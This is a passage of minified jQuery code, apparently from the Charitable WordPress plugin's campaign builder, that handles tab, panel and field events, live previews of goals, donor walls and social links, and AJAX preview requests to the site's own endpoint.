li#tab_"+tab_id+"_content").addClass("active");$(".charitable-layout-options-tab").removeClass("active");$(".charitable-layout-options-tab.charitable-layout-options-tab-tabs").addClass("active");$(".charitable-layout-options-tab").find(".charitable-layout-options-tab-group").each(function(){$(this).removeClass("charitable-open");var cookieValue=wpCookies.get("charitable_panel_layout_options_tabs_tab_open_"+$(this).data("group_id"));if(cookieValue==="true"){$(this).addClass("charitable-open");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").addClass("charitable-angle-down");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").removeClass("charitable-angle-right");$(this).removeClass("charitable-closed")}else{$(this).removeClass("charitable-open");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").removeClass("charitable-angle-down");$(this).find(".charitable-general-layout-heading a.charitable-toggleable-group i").addClass("charitable-angle-right");$(this).addClass("charitable-closed")}});$(".charitable-layout-options-tab .charitable-group").removeClass("active");$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").addClass("active").removeClass("charitable-closed");$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").find(".charitable-group-rows").show();$(".charitable-layout-options-tab").find("[data-group_id="+tab_id+"]").find(".charitable-toggleable-group i").removeClass(".charitable-angle-right").addClass("charitable-angle-down");$("#layout-options a").click();$("#charitable-preview-tab-container").addClass("active");wpCookies.set("charitable_panel_tab_section_tab_id",tab_id,2592e3);wpCookies.set("charitable_panel_layout_options_tabs_tab_open_"+tab_id,true,2592e3);wpCookies.set("charitable_panel_content_section","",2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3)});$builder.on("change",".charitable-group select.tab_type",function(e){e.preventDefault();var $this=$(this),group_id=$this.closest(".charitable-group").data("group_id"),$preview=$(".charitable-campaign-preview"),selected_value=$this.val();$preview.find("nav li.tab_title[data-tab-id="+group_id+"]").attr("data-tab-type",selected_value);$preview.find("div.tab-content ul li#tab_"+group_id+"_content").attr("data-tab-type",selected_value);$preview.find("div.tab-content ul li#tab_"+group_id+"_content").removeClass(function(index,className){return(className.match(/(^|\s)tab_type_\S+/g)||[]).join(" ")});$preview.find("div.tab-content ul li#tab_"+group_id+"_content").addClass("tab_type_"+selected_value);var data={action:"charitable_tab_content_preview",type:selected_value,group_id:group_id,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$preview.find("div.tab-content ul li#tab_"+group_id+"_content").html(response.data.output)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})});$builder.on("input","input#charitable-panel-field-settings-charitable-campaign-enable-tabs",function(e){const isChecked=$(this).is(":checked");if(isChecked){$("#charitable-preview-tab-container").addClass("disabled");$("#charitable-design-layout-options-advanced-tab-style").prop("disabled",true).addClass("disabled");$("#charitable-design-layout-options-advanced-tab-size").prop("disabled",true).addClass("disabled")}else{$("#charitable-preview-tab-container").removeClass("disabled");$("#charitable-design-layout-options-advanced-tab-style").prop("disabled",false).removeClass("disabled");$("#charitable-design-layout-options-advanced-tab-size").prop("disabled",false).removeClass("disabled")}});$builder.on("input","input.charitable-settings-tab-visible-nav",function(e){const isChecked=$(this).is(":checked"),tabID=$(this).closest(".charitable-tab-title-row").data("tab-id");if(isChecked){elements.$preview.find("nav li#tab_"+tabID+"_title").addClass("charitable-tab-hide")}else{elements.$preview.find("nav li#tab_"+tabID+"_title").removeClass("charitable-tab-hide")}});$builder.on("keydown",'.charitable-tab-title-row input[type="text"]',function(e){var k=e.keyCode||e.which,ok=k>=65&&k<=90||k>=96&&k<=105||k>=35&&k<=40||k==32||e.ctrlKey&&k==65||e.ctrlKey&&k==67||e.ctrlKey&&k==88||e.ctrlKey&&k==86||e.metaKey&&k==65||e.metaKey&&k==67||e.metaKey&&k==88||e.metaKey&&k==86||k>=96&&k<=105||(k==110||k==190)||k>=37&&k<=40||k==46||k==173||k==8||k>=48&&k<=57;if(!ok||e.ctrlKey&&e.altKey){e.preventDefault()}});$builder.on("change",'.charitable-tab-title-row input[type="text"]',function(e){if($(this).val().trim()===""){$(this).val("New Tab")}})},bindUIInputRange:function(){$builder.on("mouseenter",'input[type="range"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){elements.$preview.find("#charitable-field-"+field_id+" .charitable-preview-field-indicator").removeClass("charitable-hidden")}});$builder.on("mouseleave",'input[type="range"].charitable-indicator-on-hover, .charitable-panel-field-align a',function(e){var field_id=parseInt($(this).closest(".charitable-panel-field").data("field-id"));if(field_id>0){elements.$preview.find("#charitable-field-"+field_id+" .charitable-preview-field-indicator").addClass("charitable-hidden")}})},bindAutoResizeCampaignTitle:function(){$builder.on("input","input#charitable_settings_title",function(e){var $this=$(this),the_text=$this.val(),the_text_characters=the_text.length,the_padding=10,the_input_box_width=the_text_characters*12.8+the_padding;wpchar.debug(the_text);wpchar.debug(the_text_characters);wpchar.debug($("#charitable_settings_title").val());app.setCampaignNotSaved();app.updateFormUI("title",the_text);app.resizeTopCampaignTitleInputBox()});$builder.on("focusout","input#charitable_settings_title",function(e){})},resizeTopCampaignTitleInputBox:function(){},bindCampaignTitleBlockTextField:function(){$builder.on("keyup","input.charitable-campaign-builder-title",function(e){app.updateFormUI("title",$(this).val())})},bindUIEditCampaignTitle:function(){},allowTitleUpdate:function($container){if($container.hasClass("edit")){$("#charitable_settings_title").attr("disabled",true);$container.removeClass("edit")}else{$("#charitable_settings_title").removeAttr("disabled");$container.addClass("edit");$("#charitable_settings_title").focus().select()}},bindUIActionsPanels:function(){$builder.on("click","#charitable-panels-toggle button:not(.charitable-panel-help-button):not(.charitable-panel-form-upgrade), .charitable-panel-switch",function(e){e.preventDefault();if(!$(this).hasClass("disabled")){app.panelSwitch($(this).data("panel"))}});$builder.on("click",".charitable-panel-form-upgrade",function(e){e.preventDefault();e.stopImmediatePropagation();app.formPanelUpgradeModal()});$builder.on("click",".charitable-panel-help-button, #charitable-panels-toggle a:has(.charitable-panel-help-button)",function(e){var $anchor=$(this).closest("a");if(!$anchor.length){$anchor=$(this).is("a")?$(this):$(this).closest("a")}if($anchor.length&&$anchor.attr("href")){e.stopPropagation();e.stopImmediatePropagation();var href=$anchor.attr("href");var target=$anchor.attr("target")||"_blank";if(target==="_blank"){window.open(href,target)}else{window.location.href=href}return false}});$builder.on("click",".charitable-panel .charitable-panel-sidebar-section:not(.charitable-need-upgrade):not(.charitable-not-available):not(.charitable-not-installed):not(.charitable-not-activated):not(.charitable-installed-refresh):not(.charitable-not-available):not(.charitable-addon-file-missing)",function(e){app.panelSectionSwitch(this,e)});$builder.on("click",".charitable-panels .charitable-panel-sidebar-content .charitable-panel-sidebar-toggle",function(){$(this).parent().toggleClass("charitable-panel-sidebar-closed")});$builder.on("focusout",'input[name="tabs__campaign__title"]',function(e){e.preventDefault();app.updateFormUI("tabs__campaign__title",$(this).val())});app.bindUIActionPanelsTabs()},bindUIActionPanelsTabs:function(){$builder.on("input",'.charitable-tab-title-row input[type="text"]',function(e){e.preventDefault();var $textBox=$(this),$the_element=$textBox.closest(".charitable-group"),theGroupID=$the_element.attr("data-group_id"),updatedText=0===$textBox.val().length?"New Tab":$textBox.val(),updatedTextClean=app.removeTags(updatedText);$the_element.find(".charitable-general-layout-heading").find("span").html(updatedTextClean);$("nav.charitable-campaign-preview-nav ul").find("#tab_"+theGroupID+"_title a").html(updatedTextClean)})},checkHideTabNavigation:function(){const tab_count=$("#charitable-field-options .charitable-layout-options-tab-group").length-1;if(tab_count>1){$("#charitable-field-options").find("input.charitable-settings-tab-visible-nav").each(function(){$(this).prop("checked",false).attr("disabled",true);$(this).parent().find("label").addClass("charitable-disabled");elements.$preview.find("nav.charitable-campaign-preview-nav li").removeClass("charitable-tab-hide")})}else{$("#charitable-field-options").find("input.charitable-settings-tab-visible-nav").each(function(){$(this).removeAttr("disabled");$(this).parent().find("label").removeClass("charitable-disabled")})}},removeTags:function(theString){return theString},panelSwitch:function(panel){var $panel=$("#charitable-panel-"+panel),$panelBtn=$(".charitable-panel-"+panel+"-button"),cookieName="charitable_panel";if(!app.hasTemplate()&&panel!=="template"){return}if(!$panel.hasClass("active")){const event=CharitableUtils.triggerEvent($builder,"charitablePanelSwitch",[panel]);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$("#charitable-panels-toggle").find("button").removeClass("active");$(".charitable-panel").removeClass("active");$panelBtn.addClass("active");$panel.addClass("active");history.replaceState({},null,wpchar.updateQueryString("view",panel));$builder.trigger("charitablePanelSwitched",[panel]);wpCookies.set(cookieName,panel,2592e3);wpCookies.set("charitable_panel_content_section","",2592e3);wpCookies.set("charitable_panel_active_field_id","",2592e3)}},panelSectionSwitch:function(el,e){if(e){e.preventDefault()}var $this=$(el),$panel=$this.parent().parent(),section=$this.data("section"),$sectionButtons=$panel.find(".charitable-panel-sidebar-section"),$sectionButton=$panel.find(".charitable-panel-sidebar-section-"+section);if($this.hasClass("upgrade-modal")||$this.hasClass("education-modal")){return}if(!$sectionButton.hasClass("active")){app.panelSectionSwitchTo(section,$panel,$sectionButtons,$sectionButton)}},panelSectionSwitchTo:function(section,$panel,$sectionButtons,$sectionButton){const event=CharitableUtils.triggerEvent($builder,"charitablePanelSectionSwitch",section);if(event.isDefaultPrevented()||!charitable_panel_switch){return false}$sectionButtons.removeClass("active");$sectionButton.addClass("active");$panel.find(".charitable-panel-content-section").hide();$panel.find(".charitable-panel-content-section-"+section).show();var cookieName="charitable_panel_content_section";wpCookies.set(cookieName,section,2592e3)},bindUIActionsFields:function(){$builder.on("click",".charitable-tab a",function(e){e.preventDefault();app.fieldTabToggle($(this).parent().attr("id"));if("add-layout"===$(this).parent().attr("id")){app.resetPreviewArea()}});$builder.on("click",".charitable-layout-options-tab-tabs .charitable-toggleable-group",function(e){e.preventDefault();app.fieldGroupTogglev2($(this),"click")});$builder.on("click",".charitable-add-fields .charitable-toggleable-group",function(e){e.preventDefault();app.fieldGroupTogglev3($(this),"click")});$builder.on("click",".charitable-tab-group-delete",function(e){e.preventDefault();e.stopPropagation();if(app.isFormPreviewActionsDisabled(this)){return}var $the_element=$(this).closest(".charitable-group"),theGroupID=$the_element.attr("data-group_id");app.tabDelete(theGroupID)});$builder.on("click",".charitable-field",function(e){if(e.target.classList.contains("charitable-dismiss-button")){return}e.stopPropagation();$(this).find(".charitable-field-edit").click()});$builder.on("click",".charitable-field-delete",function(e){e.preventDefault();e.stopPropagation();var confirmation=$(this).parent().hasClass("charitable-missing-addon-content")?false:true,field_id=parseInt($(this).closest(".charitable-field").data("field-id"));app.fieldDelete(field_id,confirmation)});$builder.on("click",".charitable-field-duplicate",function(e){e.preventDefault();e.stopPropagation();app.fieldDuplicate($(this).parent().data("field-id"))});$builder.on("click",".charitable-field-edit",function(e){e.preventDefault();e.stopPropagation();app.resetPreviewArea();$(this).parent().addClass("active");$("ul.charitable-tabs li#add-layout a").removeClass("active");$("ul.charitable-tabs li#layout-options a").addClass("active");var field_id=parseInt($(this).parent().data("field-id"));wpCookies.set("charitable_panel_active_field_id",field_id,2592e3);app.fieldEdit($(this).data("type"),$(this).data("section"),$(this).parent().data("field-id"),field_id,$(this).parent().data("field-type"))});$builder.on("click",".charitable-add-fields-button",function(e){e.preventDefault();const $field=$(this);if($field.hasClass("ui-draggable-disabled")){return}let type=$field.data("field-type"),event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldAddOnClick",[type,$field]);if(event.isDefaultPrevented()){return}app.fieldAdd(type,{$sortable:"default"})});$builder.on("charitableFieldAdd",function(event,id,type){const fieldTypes=["campaign-title","campaign-description","campaign-overview","progress-bar","donation-options","social-sharing","social-links","photo","organizer","html","donate-button","donate-amount","campaign-summary","donate-form","donor-wall","shortcode","text","video"];if($.inArray(type,fieldTypes)!==-1){app.fieldChoiceSortable(type,`#charitable-field-option-row-${id}-choices ul`)}else{}});$builder.on("click",".charitable-group-toggle",function(e){const event=CharitableUtils.triggerEvent($builder,"charitableFieldOptionGroupToggle");if(event.isDefaultPrevented()){return false}e.preventDefault();app.resetPreviewArea();var $group=$(this).closest(".charitable-layout-options-tab");$group.siblings(".charitable-layout-options-tab").removeClass("active");$group.addClass("active");if($(this).parent().hasClass("charitable-layout-options-tab-tabs")){$("#charitable-preview-tab-container").toggleClass("active")}else{$("#charitable-preview-tab-container").removeClass("active")}if($(this).parent().hasClass("charitable-layout-options-tab-general")){wpCookies.set("charitable_panel_design_layout_options_group","general",2592e3)}else if($(this).parent().hasClass("charitable-layout-options-tab-tabs")){wpCookies.set("charitable_panel_design_layout_options_group","tabs",2592e3)}else if($(this).parent().hasClass("charitable-layout-options-tab-advanced")){wpCookies.set("charitable_panel_design_layout_options_group","advanced",2592e3)}wpCookies.set("charitable_panel_active_field_id","",2592e3);$(".charitable-layout-options-tab-general .charitable-layout-options-group-inner").html();$(".charitable-campaign-preview .charitable-select-field").removeClass("active")});$builder.on("click",".charitable-field-edit",function(e){e.preventDefault();$("#layout-options a").addClass("active");$(".charitable-add-fields").hide();$(".charitable-field-options").show();var $group=$(".charitable-layout-options-tab-general");$group.siblings(".charitable-layout-options-tab").removeClass("active");$group.addClass("active")});$builder.on("click",function(){app.focusOutEvent()});app.photoFieldEvents($builder);app.campaignSummaryEvents($builder);app.socialSharingEvents($builder);app.socialLinkingEvents($builder);app.donateButtonEvents($builder);app.donateWallEvents($builder);app.progressBarEvents($builder);app.shortcodeEvents($builder);app.organizerEvents($builder);app.cssTextFieldEvents($builder);app.textFieldEvents($builder);app.headlineEvents($builder);app.numberSliderEvents($builder);app.alignFieldEvents($builder);/ *highlights */;app.highlightEvents($builder);app.advancedLayoutOptionsEvents($builder);app.previewHover($builder);app.goalEvents($builder);app.endDateEvents($builder)},endDateEvents:function($builder){$builder.on("change","#charitable-panel-field-settings-campaign_end_date",function(e){app.updateEndDateRelatedItems($(this).val())})},updateEndDateRelatedItems:function(endDate="",theField=$("#charitable-panel-field-settings-campaign_end_date")){if(endDate===""){if(theField.length){endDate=theField.val()}}if(endDate.trim()===""){wpchar.debug("updateEndDateRelatedItems - no end date");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");$(this).find(".campaign-time-left.campaign-summary-item").addClass("charitable-hidden");wpchar.debug($('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]"));elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]").attr("disabled",true).addClass("charitable-disabled").prop("checked",false).next().addClass("charitable-disabled")})}else{wpchar.debug("updateEndDateRelatedItems - there is an end date");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_time_remaining]").attr("disabled",false).removeClass("charitable-disabled").next().removeClass("charitable-disabled")})}},goalEvents:function($builder){$builder.on("change","#charitable-panel-field-settings-campaign_goal",function(e){app.updateGoalRelatedItems($(this).val())})},updateGoalRelatedItems:function(goalAmount="",theField=$("#charitable-panel-field-settings-campaign_goal")){wpchar.debug(goalAmount,"goalAmount");if(goalAmount===""){if(theField.length){goalAmount=theField.val()}}if(goalAmount===""||goalAmount==="0"||goalAmount==="0.00"){wpchar.debug("updateGoalRelatedItems - checkpoint 0");elements.$preview.find(".charitable-field-progress-bar .progress").addClass("charitable-campaign-preview-not-available").addClass("charitable-hidden");elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id");$(this).find(".campaign-raised.campaign-summary-item").addClass("charitable-hidden");wpchar.debug(elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]"));elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").prop("checked",false).attr("disabled",true).addClass("charitable-disabled").next().addClass("charitable-disabled")});elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html();$(this).html("<span>"+goalLabel+"</span>"+"∞")})}else{var regex_decemial=/^\d+\.\d+$/,regex_comma=/^\d+\,\d+$/;if(regex_comma.test(goalAmount)){wpchar.debug("updateGoalRelatedItems - checkpoint 1");app.updateGoalisPresentRelatedUI();elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);wpchar.debug(charitable_builder.currency_symbol+goalAmount);$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+goalAmount)})}else if(regex_decemial.test(goalAmount)){wpchar.debug("updateGoalRelatedItems - checkpoint 2");app.updateGoalisPresentRelatedUI();elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html(),santitizedValue=parseFloat(goalAmount).toFixed(2);santitizedValue=goalAmount.toString().replace(/\B(?=(\d{3})+(?!\d))/g,",");$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+santitizedValue)})}else{wpchar.debug("updateGoalRelatedItems - checkpoint 3");app.updateGoalisPresentRelatedUI();goalAmount=goalAmount.replace(/[^0-9\.\,]/g,"");elements.$preview.find(".charitable-field-progress-bar .campaign-goal").each(function(){var goalLabel=$(this).find("span").html();$(this).html("<span>"+goalLabel+"</span>"+" "+charitable_builder.currency_symbol+goalAmount)})}}},updateGoalisPresentRelatedUI:function(){elements.$preview.find(".charitable-field-campaign-summary").each(function(){var field_id=$(this).attr("data-field-id"),$preview_summary=$(this);if($('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").is(":checked")){if(!$(this).hasClass("charitable-hidden")){$preview_summary.find(".campaign-raised.campaign-summary-item").removeClass("charitable-hidden")}}elements.$fieldOptions.find('input[name="_fields['+field_id+"][show_hide][campaign_hide_percent_raised]").attr("disabled",false).removeClass("charitable-disabled").next().removeClass("charitable-disabled")});elements.$preview.find(".charitable-field-progress-bar .progress").removeClass("charitable-campaign-preview-not-available").removeClass("charitable-hidden")},highlightEvents:function($builder){$builder.on("click","a.charitable-addon-installed-charitable-lite, a.charitable-addon-installed-charitable-pro",function(e){e.preventDefault();if($(this).hasClass("charitable-addon-recurring-donations")){elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").removeClass("charitable-highlight");$("a.charitable-panel-sidebar-section-donation-options").click();elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").addClass("charitable-highlight")}});$builder.on("webkitAnimationEnd oanimationend msAnimationEnd animationend",".charitable-panel-fields-group-recurring-donations",function(e){elements.$settingsPanel.find(".charitable-panel-fields-group-recurring-donations").removeClass("charitable-highlight")})},advancedLayoutOptionsEvents:function($builder){$builder.on("change","select#charitable-design-layout-options-show-field-names",function(e){const theField=$(this);if(theField.val()==="hide"){elements.$formPreview.addClass("charitable-preview-hide-field-names")}else if(theField.val()==="show"){elements.$formPreview.removeClass("charitable-preview-hide-field-names")}});$builder.on("change","select#charitable-design-layout-options-preview-mode",function(e){const theField=$(this);if(theField.val()==="normal"){elements.$formPreview.removeClass("charitable-preview-minimum-preview")}else if(theField.val()==="minimum"){elements.$formPreview.addClass("charitable-preview-minimum-preview")}})},previewHover:function($builder){$builder.on("mouseover",".charitable-view-campaign-external-link",function(e){elements.$formPreview.addClass("charitable-preview-live")});$builder.on("mouseleave",".charitable-view-campaign-external-link",function(e){elements.$formPreview.removeClass("charitable-preview-live")})},donateButtonEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-donate-button-button-label',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateDonateButtonPreview(field_id,theTextBox.attr("name"),theTextBox.val())})},updateDonateButtonPreview:function(field_id=0,textFieldName="",label_value="Donate"){const preview_field=$("#charitable-field-"+field_id);label_value=label_value.length>0?CharitableUtils.santitizeTextInput(label_value):"Donate";preview_field.find(".placeholder").html(label_value)},donateWallEvents:function($builder){$builder.on("input",".charitable-panel-field.charitable-campaign-builder-donor-wall input, .charitable-panel-field.charitable-campaign-builder-donor-wall select",function(e){const theFormField=$(this),field_id=theFormField.closest(".charitable-panel-field").data("field-id");app.updateDonateWallPreview(field_id,theFormField)})},updateDonateWallPreview:function(field_id=0,theFormField){var data={};$('.charitable-panel-field.charitable-campaign-builder-donor-wall[data-field-id="'+field_id+'"]').each(function(){var theArea=$(this);theArea.find('input.charitable-checkbox-for-toggle[type="checkbox"]:checked').each(function(){var theName=$(this).closest('.charitable-toggle-control[data-field-id="'+field_id+'"]').data("ajax-label");if($(this).is(":checked")){data[theName]=$(this).val()}else{data[theName]=0}});theArea.find('input[type="radio"]:checked,input[type="text"],input[type="number"],select').each(function(){var theName=$(this).closest('.charitable-panel-field[data-field-id="'+field_id+'"]').data("ajax-label");data[theName]=$(this).val()});data.campaign_id=s.formID;data.field_type="donation-wall";data.field_id=field_id;data.action="charitable_builder_field_content_preview",data.nonce=charitable_builder.nonce});app.disableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').addClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").addClass("charitable-loading").parent().prepend('<div class="charitable-loading-spinner preview-ajax"></div>');return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug("Add field AJAX call is unsuccessful:",res);return}$("#charitable-field-"+field_id+" .charitable-preview-field-container").replaceWith(res.data.output);var theTextBox=$('.charitable-panel-field-text[data-field-id="'+field_id+'"] input[type="text"].charitable-campaign-builder-headline');app.updateHeadlinePreview(field_id,theTextBox.attr("name"),theTextBox.val(),theTextBox);app.enableFormActions();$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').removeClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").removeClass("charitable-loading").parent().remove(".charitable-loading")}).fail(function(xhr,textStatus,e){wpchar.debug("Add field AJAX call failed:",xhr.responseText);$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').removeClass("charitable-loading");$("#charitable-field-"+field_id+" .charitable-preview-field-container span.placeholder").removeClass("charitable-loading").parent().remove(".charitable-loading")}).always(function(){})},progressBarEvents:function($builder){$builder.on("change",".charitable-panel-field.charitable-campaign-builder-progress-bar input, .charitable-panel-field.charitable-campaign-builder-progress-bar select",function(e){var theFormField=$(this),field_id=theFormField.attr("data-field-id");app.progressBarEventsPreview(field_id,theFormField)});$builder.on("keyup",".charitable-panel-field.charitable-panel-field-text input.donate_label, .charitable-panel-field.charitable-panel-field-text input.donate_goal",function(e){var theFormField=$(this),field_id=theFormField.attr("data-field-id");app.progressBarEventsPreviewLabels(field_id,theFormField)})},progressBarEventsPreviewLabels:function(field_id=0,theFormField=""){const preview_field=$("#charitable-field-"+field_id);if(theFormField.hasClass("donate_label")){preview_field.find(".campaign-percent-raised span").html(theFormField.val())}if(theFormField.hasClass("donate_goal")){preview_field.find(".campaign-goal span").html(theFormField.val())}},progressBarEventsPreview:function(field_id=0,theFormField=""){const preview_field=$("#charitable-field-"+field_id);if(theFormField.val()==="show_donated"){preview_field.find(".campaign-percent-raised").toggleClass("charitable-hidden")}if(theFormField.val()==="show_goal"){preview_field.find(".campaign-goal").toggleClass("charitable-hidden")}},cssTextFieldEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[data-ajax-label="css_class"]',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeCSSInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},textFieldEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"][data-ajax-label!="css_class"]:not(.charitable-campaign-builder-headline, .charitable-campaign-builder-donate-button-button-label)',function(e){const theTextBox=$(this),textboxString=CharitableUtils.santitizeTextInput(theTextBox.val());$(this).val(textboxString);app.setCampaignNotSaved()})},headlineEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-headline',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateHeadlinePreview(field_id,theTextBox.attr("name"),theTextBox.val(),theTextBox);app.setCampaignNotSaved()})},updateHeadlinePreview:function(field_id=0,textFieldName="",label_value="",theTextBox){const preview_field=$("#charitable-field-"+field_id),headline=CharitableUtils.santitizeTitle(label_value),headline_html=label_value.length>0?'<h5 class="charitable-field-preview-headline">'+headline+"</h5>":"",tempPlaceholderContainer=preview_field.find(".charitable-placeholder").length>0?".charitable-placeholder":".placeholder",placeholderContainer=preview_field.find(".charitable-field-preview-social-sharing-headline-container").length>0?".charitable-field-preview-social-sharing-headline-container":tempPlaceholderContainer;theTextBox.val(headline);preview_field.find(placeholderContainer).find("h5.charitable-field-preview-headline").remove();preview_field.find(placeholderContainer).first().prepend(headline_html)},shortcodeEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="text"].charitable-campaign-builder-shortcode',function(e){const theTextBox=$(this),field_id=theTextBox.closest(".charitable-panel-field").data("field-id");app.updateShortcodePreview(field_id,theTextBox.attr("name"),theTextBox.val())})},updateShortcodePreview:function(field_id=0,textFieldName="",label_value=""){const preview_field=$("#charitable-field-"+field_id),headline_html=label_value.length>0?'<h5 class="charitable-field-preview-shortcode">'+label_value+"</h5>":"";preview_field.find(".placeholder.shortcode-preview").find("h5.charitable-field-preview-shortcode").remove();preview_field.find(".placeholder.shortcode-preview").first().prepend(headline_html)},organizerEvents:function($builder){$builder.on("change",".charitable-panel-field.campaign-builder-campaign-creator-id-mini select",function(e){var theFormField=$(this),theAvatarURL=$(this).find("option:selected").data("avatar"),field_id=theFormField.closest(".charitable-panel-field").attr("data-field-id");app.organizerEventsPreview(field_id,theFormField,theAvatarURL)})},organizerEventsPreview:function(field_id=0,theFormField="",theAvatarURL=""){$("select#charitable-panel-field-settings-campaign_campaign_creator_id").select2("val",theFormField.val());const preview_field=$("#charitable-field-"+field_id);preview_field.find(".charitable-organizer-name").html(theFormField.find("option:selected").text());preview_field.find(".charitable-organizer-image").attr("style","background-image: url("+theAvatarURL+");")},campaignSummaryEvents:function($builder){$builder.on("click",'.charitable-campaign-summary-checkboxes input[type="checkbox"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(".charitable-panel-field").data("field-id");app.updateCampaignSummaryPreview(field_id,theCheckbox.attr("name"))})},updateCampaignSummaryPreview:function(field_id=0,checkboxName=""){const preview_field=$("#charitable-field-"+field_id);if(checkboxName.indexOf("campaign_hide_percent_raised")>=0){preview_field.find(".campaign_hide_percent_raised").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_amount_donated")>=0){preview_field.find(".campaign_hide_amount_donated").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_number_of_donors")>=0){preview_field.find(".campaign_hide_number_of_donors").toggleClass("charitable-hidden")}if(checkboxName.indexOf("campaign_hide_time_remaining")>=0){preview_field.find(".campaign_hide_time_remaining").toggleClass("charitable-hidden")}},socialSharingEvents:function($builder){$builder.on("click",'.charitable-social-network-checkboxes input[type="checkbox"]',function(e){const theCheckbox=$(this),field_id=theCheckbox.closest(".charitable-panel-field").data("field-id");app.updateSocialSharingPreview(field_id,theCheckbox.attr("name"))})},updateSocialSharingPreview:function(field_id=0,checkboxName=""){const preview_field=$("#charitable-field-"+field_id);if(checkboxName.indexOf("twitter")>=0){preview_field.find(".charitable-social-sharing-preview-twitter").toggleClass("charitable-hidden")}if(checkboxName.indexOf("facebook")>=0){preview_field.find(".charitable-social-sharing-preview-facebook").toggleClass("charitable-hidden")}if(checkboxName.indexOf("linkedin")>=0){preview_field.find(".charitable-social-sharing-preview-linkedin").toggleClass("charitable-hidden")}if(checkboxName.indexOf("instagram")>=0){preview_field.find(".charitable-social-sharing-preview-instagram").toggleClass("charitable-hidden")}if(checkboxName.indexOf("tiktok")>=0){preview_field.find(".charitable-social-sharing-preview-tiktok").toggleClass("charitable-hidden")}if(checkboxName.indexOf("pinterest")>=0){preview_field.find(".charitable-social-sharing-preview-pinterest").toggleClass("charitable-hidden")}if(checkboxName.indexOf("mastodon")>=0){preview_field.find(".charitable-social-sharing-preview-mastodon").toggleClass("charitable-hidden")}if(checkboxName.indexOf("threads")>=0){preview_field.find(".charitable-social-sharing-preview-threads").toggleClass("charitable-hidden")}if(checkboxName.indexOf("bluesky")>=0){preview_field.find(".charitable-social-sharing-preview-bluesky").toggleClass("charitable-hidden")}},socialLinkingEvents:function($builder){$builder.on("input",'.charitable-panel-field-text input[type="url"].charitable-campaign-builder-social-links-text-field',function(e){var theTextField=$(this),field_id=theTextField.attr("data-field-id");app.updateSocialLinksPreview(field_id,theTextField.attr("name"),theTextField.val())})},updateSocialLinksPreview:function(field_id=0,textFieldName="",linkURL=""){const preview_field=$("#charitable-field-"+field_id),social_networks=["twitter","facebook","linkedin","instagram","tiktok","pinterest","mastodon","youtube","threads","bluesky"];var visibleNetworks=0;$.each(social_networks,function(_index,network){if(textFieldName.indexOf(network)>=0&&app.isValidURL(linkURL)){preview_field.find(".charitable-social-linking-preview-"+network).removeClass("charitable-hidden")}else if(textFieldName.indexOf(network)>=0){preview_field.find(".charitable-social-linking-preview-"+network).addClass("charitable-hidden")}if(preview_field.find(".charitable-social-linking-preview-"+network).hasClass("charitable-hidden")){}else{visibleNetworks++}});if(visibleNetworks>0){preview_field.find(".charitable-social-linking-no-links").addClass("charitable-hidden")}else{preview_field.find(".charitable-social-linking-no-links").removeClass("charitable-hidden")}},photoFieldEvents:function($builder){var file_frame;window.formfield="";$builder.on("click",".charitable-campaign-builder-upload-button",function(e){e.preventDefault();var 